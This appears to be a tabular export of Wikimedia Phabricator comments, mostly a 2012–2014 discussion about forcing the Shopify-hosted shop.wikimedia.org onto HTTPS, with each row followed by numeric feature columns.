Elliot/Victoria: if you could take a look at these issues and file tickets and speak to the legal team, that would be great. There are a few discrete issues here all of which should be addressable.",,,1407290369,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,49,True,1.5,0.0,0.0,0.0,0.0,4.0,1.5,0.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,5.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,7.5,1.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,2.5,20.5,1.0,1.5,6.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,1.5,5.5,18.0,0.0,0.0,0.0,1.5,0.0,1.5,1.5,0.0,0.0,0.0,0.0,0.0,3.3166666666666664,0.4666666666666667,"(In reply to jeremyb from comment #11)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thank you for this post.

Elliot/Victoria: if you could take a look at these issues and file tickets and speak to the legal team, that would be great. There are a few discrete issues here all of which should be addressable."
178592,shop.wikimedia.org should be HTTPS only,"(In reply to Elliott Eggleston from comment #13)
> This is not possible to fix while the shop is hosted on Shopify.  They don't
> offer the option of turning off http, and in certain places, like their
> post-login redirect, they automatically send the user to http.

Presumably Shopify has an issue tracker of some kind? Is there an open ticket about this issue (i.e., a store cannot be HTTPS-only currently)?

> Unless we want to find a new vendor or take on the responsibility of hosting
> our own ecommerce site, this is a WONTFIX.

This is a bit of a false dichotomy. Let's get Shopify to fix their code. :-)  If Shopify really can't support an HTTPS-only site in 2014, then it makes more sense to reëvaluate using them as a vendor than it does to close this ticket. For sure.",,,1407290056,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,49,True,0.5,0.0,0.0,0.0,1.5,4.0,1.0,0.0,0.0,1.0,3.0,1.0,0.0,1.5,0.5,0.0,0.0,4.0,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,3.5,1.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,12.0,0.5,1.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,1.0,0.0,7.5,0.0,1.0,0.0,0.5,6.0,0.0,1.5,0.0,4.5,10.5,5.0,1.0,0.0,0.0,4.5,0.0,0.0,5.0,1.0,1.0,1.0,0.0,0.5,3.508928571428571,0.7946428571428572,"(In reply to Elliott Eggleston from comment #13)
QUOTE
QUOTE
QUOTE

Presumably Shopify has an issue tracker of some kind? Is there an open ticket about this issue (i.e., a store cannot be HTTPS-only currently)?

QUOTE
QUOTE

This is a bit of a false dichotomy. Let's get Shopify to fix their code. :-)  If Shopify really can't support an HTTPS-only site in 2014, then it makes more sense to reëvaluate using them as a vendor than it does to close this ticket. For sure."
178590,shop.wikimedia.org should be HTTPS only,"(In reply to Elliott Eggleston from comment #13)
> Unless we want to find a new vendor or take on the responsibility of hosting
> our own ecommerce site, this is a WONTFIX.

Who could/would make a final decision on this, before this ticket ends dormant? :/",,,1407277171,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,True,,,48,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,18.0,0.0,0.0,9.0,0.0,3.0,0.0,3.0,6.0,0.0,3.0,0.0,0.0,15.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6470588235294117,0.9117647058823529,"(In reply to Elliott Eggleston from comment #13)
QUOTE
QUOTE

Who could/would make a final decision on this, before this ticket ends dormant? :/"
178588,shop.wikimedia.org should be HTTPS only,"This is not possible to fix while the shop is hosted on Shopify.  They don't offer the option of turning off http, and in certain places, like their post-login redirect, they automatically send the user to http.

Unless we want to find a new vendor or take on the responsibility of hosting our own ecommerce site, this is a WONTFIX.",,,1405704957,,PHID-USER-3jrdwh7dywughlcnir2i,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,0.0,0.0,0.0,1.0,3.0,10.0,3.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,4.0,17.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,7.0,3.0,3.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,17.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.8055555555555554,0.7777777777777778,"This is not possible to fix while the shop is hosted on Shopify.  They don't offer the option of turning off http, and in certain places, like their post-login redirect, they automatically send the user to http.

Unless we want to find a new vendor or take on the responsibility of hosting our own ecommerce site, this is a WONTFIX."
178586,shop.wikimedia.org should be HTTPS only,"also, the bug is titled ""shop.wikimedia.org should be HTTPS only"".

The bug should be left open until HTTP is no longer supported. (all HTTP requests are redirected to HTTPS. maybe even enable HSTS and HSTS preload)

https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security",,,1405630438,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,2.0,0.0,0.0,9.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,3.9574468085106385,0.7659574468085106,"also, the bug is titled ""shop.wikimedia.org should be HTTPS only"".

The bug should be left open until HTTP is no longer supported. (all HTTP requests are redirected to HTTPS. maybe even enable HSTS and HSTS preload)

URL"
178584,shop.wikimedia.org should be HTTPS only,"https://shop.wikimedia.org/ seems ok. or not, now is 502. and now fixed again?

some outstanding issues:

* make links from pages like https://shop.wikimedia.org/pages/privacy-policy (and other pages like https://shop.wikimedia.org/pages/about-wikimedia ) to WMF wikis or other parts of the shop site use HTTPS (or protorel)
* https://shop.wikimedia.org/products/wikipedia-globe-sweats has mixed-content warnings and also probably violates the site's privacy policy (3rd-party cookies that are not really necessary) and when loading the facebook widget passes in a URL as param with HTTP as protocol (not HTTPS)[0]
* fonts pulled from google rather than WMF or shopify. (again, possible privacy policy violation? CC luis to look into these parts)
* https://shop.wikimedia.org/account/register POSTs to HTTPS and then (if e.g. you submit a blank form or have some other error) sends you a 302 to the cleartext (HTTP) site.

[0]
Blocked loading mixed active content ""http://platform.twitter.com/widgets.js"" @ https://shop.wikimedia.org/products/wikipedia-globe-sweats
Blocked loading mixed active content ""http://assets.pinterest.com/js/pinit.js"" @ https://shop.wikimedia.org/products/wikipedia-globe-sweats
GET https://www.facebook.com/plugins/like.php?href=http://shop.wikimedia.org/products/wikipedia-globe-sweats&send=false&layout=button_count&width=120&show_faces=false&action=like&colorscheme=light&font&height=21 [HTTP/1.1 200 OK 405ms]",,,1405630275,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,1.0,0.0,0.0,0.0,1.5,7.5,0.0,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,0.0,7.0,9.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,4.0,0.0,0.0,0.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,22.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.0,13.0,1.0,5.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,9.0,7.5,1.0,1.0,1.0,1.0,0.0,1.0,1.5,0.0,1.5,0.0,0.0,1.0,3.604723332632022,0.7025036818851251,"URL seems ok. or not, now is 502. and now fixed again?

some outstanding issues:

* make links from pages like URL (and other pages like URL ) to WMF wikis or other parts of the shop site use HTTPS (or protorel)
* URL has mixed-content warnings and also probably violates the site's privacy policy (3rd-party cookies that are not really necessary) and when loading the facebook widget passes in a URL as param with HTTP as protocol (not HTTPS)[0]
* fonts pulled from google rather than WMF or shopify. (again, possible privacy policy violation? CC luis to look into these parts)
* URL POSTs to HTTPS and then (if e.g. you submit a blank form or have some other error) sends you a 302 to the cleartext (HTTP) site.

[0]
Blocked loading mixed active content ""URL @ URL
Blocked loading mixed active content ""URL @ URL
GET URL [HTTP/1.1 200 OK 405ms]"
178582,shop.wikimedia.org should be HTTPS only,"I'm making Victoria the assignee on this bug as she is transitioning into the WMF lead on the Shop. I'll also close this ticket, but please let us know if other http issues arise.

Thank you all for reporting this, and thanks Victoria and fundraising tech for the fix!",,,1405628961,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,5.0,4.0,2.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,5.0,14.0,0.0,0.0,2.0,0.0,5.0,4.0,0.0,0.0,9.0,12.0,7.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,3.8771929824561404,0.7894736842105263,"I'm making Victoria the assignee on this bug as she is transitioning into the WMF lead on the Shop. I'll also close this ticket, but please let us know if other http issues arise.

Thank you all for reporting this, and thanks Victoria and fundraising tech for the fix!"
178579,shop.wikimedia.org should be HTTPS only,"Hi Everyone! My name is Victoria and I am new Fundraising Associate at Wikimedia that will be working on the Wikimedia shop. 

This https issue goes back to 2012 and I hope that we finally fixed it!
While most pages on Shopify let you edit all of the HTML, the checkout page only lets you use a custom style sheet and translate the text.  We used that to remove the link completely.  

The account login is still on the home page and it's secure. If you see any other instances of http, please let us know! Thank you!",,,1405628779,,PHID-USER-kmvzxnr3vjq47csw3l3v,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,46,True,1.5,0.5,1.0,0.0,0.0,3.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,3.5,7.0,0.5,1.0,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.5,0.0,6.5,2.5,1.5,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,13.5,0.5,1.5,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.5,10.5,2.0,3.0,8.5,0.0,0.0,3.0,0.0,5.5,1.5,0.5,0.0,8.5,7.0,3.5,0.0,0.0,0.0,8.5,0.0,0.5,1.0,1.0,0.5,0.0,0.5,0.0,3.724467418546366,0.849467418546366,"Hi Everyone! My name is Victoria and I am new Fundraising Associate at Wikimedia that will be working on the Wikimedia shop. 

This https issue goes back to 2012 and I hope that we finally fixed it!
While most pages on Shopify let you edit all of the HTML, the checkout page only lets you use a custom style sheet and translate the text.  We used that to remove the link completely.  

The account login is still on the home page and it's secure. If you see any other instances of http, please let us know! Thank you!"
178575,shop.wikimedia.org should be HTTPS only,assigning this to Caitlin for now since I'm no longer involved in the Shop (staying in the CC list since I'm obviously still around and as have time can help where needed),,,1404851667,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,44,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,6.0,0.0,19.0,19.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,14.0,8.0,3.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,3.888888888888889,0.8611111111111112,assigning this to Caitlin for now since I'm no longer involved in the Shop (staying in the CC list since I'm obviously still around and as have time can help where needed)
178573,shop.wikimedia.org should be HTTPS only,"As an update to my comments from February, after extensive follow-up with Shopify and research on their part, they determined they can't seem to fix this problem on their end. The fr-tech team has been asked to look into this, but understandably their resources are primarily allocated elsewhere.

Fundraising is working to move some resources around so that we can get a little more time dedicated to the store and projects like this. I'm sorry I can't give much more information now, but will continue to check in with our tech team to see if they can find a solution.",,,1402935945,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,41,True,1.5,0.0,0.0,1.0,1.5,4.5,0.0,0.0,0.0,1.0,1.5,2.0,0.0,0.0,0.0,4.0,1.0,5.5,13.5,0.0,3.5,0.0,1.0,0.0,0.5,1.0,0.0,1.0,1.5,1.0,0.0,2.5,3.0,0.0,0.5,0.0,0.5,0.0,0.0,2.0,0.0,3.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,1.5,1.5,0.0,1.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,3.5,2.0,4.5,2.5,2.5,6.5,0.0,0.0,0.0,0.0,7.5,0.0,0.0,0.0,7.5,13.5,1.0,0.0,0.0,0.0,7.5,0.0,0.0,2.0,0.0,1.0,1.5,0.0,0.0,4.068965517241379,0.8362068965517241,"As an update to my comments from February, after extensive follow-up with Shopify and research on their part, they determined they can't seem to fix this problem on their end. The fr-tech team has been asked to look into this, but understandably their resources are primarily allocated elsewhere.

Fundraising is working to move some resources around so that we can get a little more time dedicated to the store and projects like this. I'm sorry I can't give much more information now, but will continue to check in with our tech team to see if they can find a solution."
178571,shop.wikimedia.org should be HTTPS only,"Just a quick update here, after seeing bug 61528 (can we merge these two? Not sure of the etiquette here) I've gotten in touch with Shopify and confirmed they *can* make this change, but it's going to take some effort. That's all I know as of today, but we've made this highest priority with Shopify as we recognize there's not way we can expect to further publicize the shop without fixing this bug. 

Right now our main focus is on what 61528 discusses: the login page. We'll see if any issue remains after that. I'll update once Shopify gives us an ETA, but please know we're actively pushing for this feature.",,,1393533048,,PHID-USER-uxp3hc4banddtiwz6xrp,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,3,False,,,26,True,1.5,0.0,0.0,0.0,1.0,2.0,0.5,0.0,0.0,0.5,1.5,3.0,0.0,0.0,0.5,7.0,0.0,6.5,9.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,8.5,4.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.5,0.0,0.0,0.0,0.0,0.0,9.5,1.0,3.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,2.0,0.0,0.0,0.0,3.0,0.5,7.0,0.5,2.0,9.0,0.0,0.0,0.0,0.0,4.5,0.5,1.5,0.0,8.0,9.0,2.5,0.5,0.0,0.0,8.0,0.0,0.5,1.0,0.5,2.5,0.0,0.5,0.0,3.726843722563652,0.8373573309920983,"Just a quick update here, after seeing bug 61528 (can we merge these two? Not sure of the etiquette here) I've gotten in touch with Shopify and confirmed they *can* make this change, but it's going to take some effort. That's all I know as of today, but we've made this highest priority with Shopify as we recognize there's not way we can expect to further publicize the shop without fixing this bug. 

Right now our main focus is on what 61528 discusses: the login page. We'll see if any issue remains after that. I'll update once Shopify gives us an ETA, but please know we're actively pushing for this feature."
178565,shop.wikimedia.org should be HTTPS only,"(In reply to comment #4)
> There are still some, relatively small, bugs with the https implementation.
> I will see if setting up to force fixes/hurts these issues and will close
> this if possible. In the mean while we DO force people to checkout via 
> https etc.

James: Any updates? Is this ticket still high priority?",,,1366908311,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,True,,,-18,True,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,28.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,7.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.206896551724138,0.7586206896551724,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE

James: Any updates? Is this ticket still high priority?"
178557,shop.wikimedia.org should be HTTPS only,"There are still some, relatively small, bugs with the https implementation. The main one is that it has a weird bug where if you are trying to log into your account from https and screw up your password it redirects you to http for the retry. I still haven't fixed that one yet.

I will see if setting up to force fixes/hurts these issues and will close this if possible. In the mean while we DO force people to checkout via https etc.",,,1345500486,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-54,True,1.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,1.0,3.0,0.0,6.0,18.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,5.0,3.0,6.0,6.0,2.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,10.0,18.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,1.0,0.0,2.0,0.0,0.0,1.0,3.765957446808511,0.723404255319149,"There are still some, relatively small, bugs with the https implementation. The main one is that it has a weird bug where if you are trying to log into your account from https and screw up your password it redirects you to http for the retry. I still haven't fixed that one yet.

I will see if setting up to force fixes/hurts these issues and will close this if possible. In the mean while we DO force people to checkout via https etc."
178550,shop.wikimedia.org should be HTTPS only,"The HTTPS version of the shop is in place as of today, and does not throw a certificate error for me (although the ""Issued To"" field shows Shopify Inc. instead of Wikimedia Foundation, Inc.) 

However, this bug has not been fixed yet; you are still able to visit the shop through the unsecure HTTP protocol. The shop is quite different than the Wikimedia wikis, which only allow browsing through HTTPS; its traffic is probably quite low, so there shouldn't be any technical reasons not to force users to use HTTPS.",,,1345500028,,PHID-USER-hxjysvdvogekpjub3nd3,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-54,True,1.0,0.0,0.0,0.5,3.0,4.0,3.0,0.0,0.5,0.0,2.0,1.0,0.0,1.0,1.0,0.5,0.0,9.0,10.0,0.0,3.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,1.0,0.0,0.5,0.0,1.0,0.5,1.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,4.5,10.0,0.5,1.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,2.0,10.0,7.0,0.0,1.0,0.0,2.0,0.0,1.0,0.5,0.5,1.0,0.0,0.0,0.0,4.05043541364296,0.8187590711175616,"The HTTPS version of the shop is in place as of today, and does not throw a certificate error for me (although the ""Issued To"" field shows Shopify Inc. instead of Wikimedia Foundation, Inc.) 

However, this bug has not been fixed yet; you are still able to visit the shop through the unsecure HTTP protocol. The shop is quite different than the Wikimedia wikis, which only allow browsing through HTTPS; its traffic is probably quite low, so there shouldn't be any technical reasons not to force users to use HTTPS."
178543,shop.wikimedia.org should be HTTPS only,"We're working on the https issue because https://shop.wikimedia.org should work (right now it works but throws a mismatched certificate error) . This has taken far longer then we woud like because it required back end changes on the partners side but is, I believe, getting very close and we just approved the certificate. If it isn't in place by the start of next week we will start using https://wikimedia.myshopify.org as a stop gap so that we can provide the security without the warnings and I've already changed it so that login pages will use that url so that they are secure.

I'm not certain if the shop itself, like most online shops, necessarily needs to be forced to https for browsing purposes as this seems un necessary and isn't a security issue. The payment pages are and always will be forced to be https.",,,1340312012,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-62,True,0.0,0.0,0.5,1.0,1.5,5.0,2.5,1.0,0.0,1.0,1.5,3.0,0.0,0.0,0.0,4.5,0.0,7.0,14.0,0.0,2.0,0.5,2.0,0.0,1.0,0.0,0.0,0.5,0.5,1.5,0.0,8.5,0.5,2.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.5,2.0,0.0,1.0,0.0,0.0,0.0,13.0,1.0,2.5,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,6.0,5.0,5.0,6.0,3.5,8.0,0.0,0.0,0.0,0.0,5.0,0.5,0.0,0.0,8.0,14.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.5,0.5,2.0,0.5,0.5,0.0,3.93125,0.75,"We're working on the https issue because URL should work (right now it works but throws a mismatched certificate error) . This has taken far longer then we woud like because it required back end changes on the partners side but is, I believe, getting very close and we just approved the certificate. If it isn't in place by the start of next week we will start using URL as a stop gap so that we can provide the security without the warnings and I've already changed it so that login pages will use that url so that they are secure.

I'm not certain if the shop itself, like most online shops, necessarily needs to be forced to https for browsing purposes as this seems un necessary and isn't a security issue. The payment pages are and always will be forced to be https."
178536,shop.wikimedia.org should be HTTPS only,"This is a security related issue, so highered the importance.",,,1340311261,,PHID-USER-u7udgblfyop6qd5wxot6,False,,,PHID-TASK-o5cnwjimr2r67t7idozw,task_subcomment,,True,c2,1,False,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,8.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,1.0,"This is a security related issue, so highered the importance."
82499,"give icinga  a ""login"" link","**Author:** `lcarr`

**Description:**



**Refers To:**
{T83554}",Medium,50.0,1367443030,1445408544.0,PHID-USER-j3rt67f2xk5rpkgcegnj,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_description,declined,True,c2,1,False,False,False,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5652173913043477,0.5652173913043478,"**Author:** CODE

**Description:**



**Refers To:**
{T83554}"
416807,"give icinga  a ""login"" link",obsolete since recently icinga-admin has been removed (!?),,,1424823807,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,78,True,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.923076923076923,1.0,obsolete since recently icinga-admin has been removed (!?)
372655,"give icinga  a ""login"" link",Reference to ticket #6838 added by dzahn,,,1408656880,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-wfiyhr2z2izrmo3ynbp3,task_subcomment,,True,c2,3,True,,,51,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,Reference to ticket #6838 added by dzahn
372646,"give icinga  a ""login"" link","%%%On Thu Aug 21 21:26:52 2014, jeremyb wrote:%%%
> My best guess at the intent was to have a link somewhere on icinga to
> icinga-admin. (which wasn't considered when closing?)
